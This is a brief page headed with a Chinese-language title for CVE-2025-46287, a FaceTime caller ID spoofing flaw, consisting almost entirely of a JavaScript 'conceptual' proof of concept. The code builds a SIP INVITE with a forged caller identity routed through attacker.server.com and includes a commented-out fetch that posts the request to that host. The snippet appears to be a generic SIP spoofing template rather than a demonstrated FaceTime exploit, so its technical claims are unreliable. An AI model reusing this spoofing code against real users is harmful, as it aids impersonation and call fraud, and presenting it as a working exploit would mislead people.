CVE-2025-46287 Apple FaceTime来电ID欺骗漏洞

// CVE-2025-46287 PoC - FaceTime Caller ID Spoofing (Conceptual) // This is a conceptual proof-of-concept for educational purposes only // SIP INVITE request with forged Caller ID const sipForgedInvite = `INVITE sip:[email protected] SIP/2.0 Via: SIP/2.0/UDP attacker.server.com;branch=z9hG4bK776 Max-Forwards: 70 From: <sip:[email protected]>;tag=12345 To: <sip:[email protected]> Call-ID: [email protected] CSeq: 1 INVITE Contact: <sip:[email protected]> Content-Type: application/sdp v=0 o=- 12345 12345 IN IP4 attacker.server.com s=Session c=IN IP4 attacker.server.com t=0 0 m=audio 49152 RTP/AVP 0 a=rtpmap:0 PCMU/8000`; // Send the forged SIP INVITE to target // In real attack scenario, this would be sent to Apple's FaceTime servers // or directly to target device if on same network console.log('Sending forged FaceTime INVITE with spoofed Caller ID...'); // fetch('https://attacker.server.com/send-sip', { method: 'POST', body: sipForgedInvite });